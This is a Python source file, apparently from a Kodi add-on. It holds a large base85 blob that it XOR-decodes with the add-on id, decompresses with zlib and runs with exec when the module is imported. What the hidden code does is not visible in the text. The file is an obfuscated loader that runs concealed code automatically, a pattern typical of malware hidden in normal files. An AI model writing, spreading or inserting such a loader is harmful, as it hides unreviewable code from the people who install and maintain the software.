# -*- coding: utf-8 -*-
# Guarded for Kodi import-time globals.
import base64, zlib, itertools
def _ptw_key():
    try:
        import xbmcaddon
        a = xbmcaddon.Addon()
        return (a.getAddonInfo('id') or 'plugin.program.PLTW_K20').encode('utf-8')
    except Exception:
        return b'plugin.program.PLTW_K20'
def _ptw_xor(data, key):
    return bytes(b ^ k for b, k in zip(data, itertools.cycle(key)))
_PAYLOAD = """2)3|4h5*bsV34UH^>N2w`}m%FFh%P8y!=L4?Eq1Fr>Qq^FC#t=KRf9BiGB9rhewi7)et4R3Tg5Qcq^98Y#@t7X9XFc$d`1DhGk->S@29jpo2fjMpJ>bfB5H(DeM6J7o~jTHQizn=(J!gUIpvDc<h#c9FrzcTqV?*OZZ|@aXTE}x|KZj6Rco;Kb<|wMr-;tfC%8J)fpUzM9&~%g23bGxh2tkRgcw>oVp%6=}pc~d!jqIm1d7(8>=!{M3LY7UaaDAU_y>%c2g|}dS!5JOrlE(bhlUPtPF>MF6LZmuq4RiJln1xcXT;-Sbzh(U{0pJG*VqUB*(5oNov7$e^cK9zl-Ci!R&5<XiAJte+8Ce8SxE#EiPz#HlGv+Ryma2FQ*MZ1}iiBNLTpc+U`}JLA&Rf%03qXHPRIbW&?M<Avub*O2(pfF}eF0$m4Vi6wY#<e_P3J<IJHxj$uyS-*mbN_IdI<nnt0kU226SnN_qe^zF(VBu+PP7p4vdQjrV!G^!*+_`&F3c*S#FN<LD-Ee)TFljm^2V4<ICx_~!h?L~&&IE0NIS$CpHK+g6heMiv8EST%+wFXl{OYy0zZ*SsA#VFeplY%N2C|6pdRY3DJ!1kEtJ-|R`TLow4-Ail2edf6-wRk}^7VVbr1`kyKqCmVgDUkDv3aFH@9)RUBtH==@$!X%a(a_GO+7(Yp%Zt_ng6D6UH^`ciosgetJzj(H`?or`_*RuP)U=?2aI)^tR+z(V+MNy@L+@&BiP!{kYkBJ<w09r^T^0+W4TF_1ChvZG%r6X$(qaNF6DLJv2+qdIpXV?NAeGjVj`pygFUq6#v&rK~pb4R|)0XZsMWdp548HEHMCRzAS$-OZqL*Ya-7G4SjdtdYPd_A}_XA77FTypb8;0v)fL?jq5JO|WgH<uy6gNhRgbnm?O10heuxVW8t4U+J%&7iTq&TA91piKHkD5=`1{;<SUu)^N4Xt|%>qZp!R_{-SDxWQA-!g_RvVR5sE2;h`Pz>^g@k8;AJ<EoNhSz5}#2c^@L?tyi=p3t&aNN8kd)&a-Qmb*BS}{%WDT+ljFS5m(Sm#QtW2!-ef1BN}ckd5Q5)BJrJF3)G>uvO&82l4WSEINY;y9N`MScRaLuOqRY<@pEy$bu{P>PG5N3>0{bo)u5d2c8@3~?9eE+(g&s*Y3u4EI*}gkp`GjW~t0M3e*jt1Yp)HbLn~Z-%N#F|>_p;cg4k*MZrzU{Ik08I5NVUso@YTh(c8w<-zsW2=u4CabjJz}3PZE>L83WsEg9YT(;d7sB^tq!n%`6TV9W6#4i;J3z1w&;Alc()ukFVIMy^p>YO*fwqs;w)Ve_1%LkwI`X>yUJnz>N~q*xLug=@ATRxz^>!8EjmWjxvzyJ8*V=f%^V8Rm)i4hl++dl+FrwHU(q}FP_Dc~2&hsv=6Da}zP8V78F(UxRujaEijKECq>MA?CtvW#)&$lXf&6uWgg$k?YW^3ibMi2mk`#WC$Q#Q;LxdEj6BPN^r<YRRsB_3!jWW;uGW1C|EiRIVhk-C2KxvNSyl*FK-P@j^=_pf;4ahGyk+OAEPX;a2f6SKLwiG-UmN!M?niM()r!pThs%!0Ptl3IW}By(1W0%F(T`0%b-$bzerBc)JsC$*`=Mp=U2^^t)|NIBbk=Ck4j{;rnsq6fBFh4%kBJkI${Hh7kOiNOh{JrXsmYc?nDG&p+Lv|}tMwD)a^LecYXEdf^cnVYf>3!M0iTj^L`9*ntEt^S$tNa+^98o>RvUeDgBP&mvCG@&B@z)Epvc^SeFYmZ8*cI~Y#gI?=a-v}=#1IKhbJ$$?jo+W^5zx*1f*5A5+?Iud>m76GAuj@kd2p<EAsa-S=#nj5#X~f`oint8iw;>FaVAhuTH#5Jj_OA~{sQ<P3)dDs%8)gk1eJnBME-*|})yQB{WmcaTHvD@f)xn+met>Ojq*k(xkGmme4dSvZ#T5*puwH`PKenZ7U?q$4`Kg-P>bKAd{PgSbfIMab@DB#I9<=aZg(*w>nPb3RaunD-IbMVZyhMWxj1so50>USI;Lp6kZDm{40NgWCg3&LmGoiXL21!3usqeT7jP6`tA2V}v&y$We>Bpa17{H2zi2B;ii5TpOpP)M~?9t0OvEfc-iwRcvMen6uIn=EmXc3F$RB)4>PxpdCn_Px?aEl9V^-Fh_3vRXBN%~^Q<I_E(>cU3t3oxwipd8!K5)h#v5&XXOd8&TSJt|G1RWl44^d8obl4LJ&`%qXdtnd^pL_Cag93CxTC=W5SJ-uO^;ZcPixsmiyM1Hm96=5_(*+CY~dBT`!y^n0vXA$Z"""
_data = base64.b85decode(_PAYLOAD)
_data = _ptw_xor(_data, _ptw_key())
_code = zlib.decompress(_data).decode('utf-8', 'replace')
g = globals()
for _n, _v in (('mode', None), ('url', None), ('name', None),
               ('description', None), ('iconImage', None), ('fanart', None)):
    if _n not in g: g[_n] = _v
if '__package__' not in g or not g['__package__']:
    n = g.get('__name__','')
    if '.' in n: g['__package__'] = n.rpartition('.')[0]
exec(compile(_code, __file__, 'exec'), g, g)
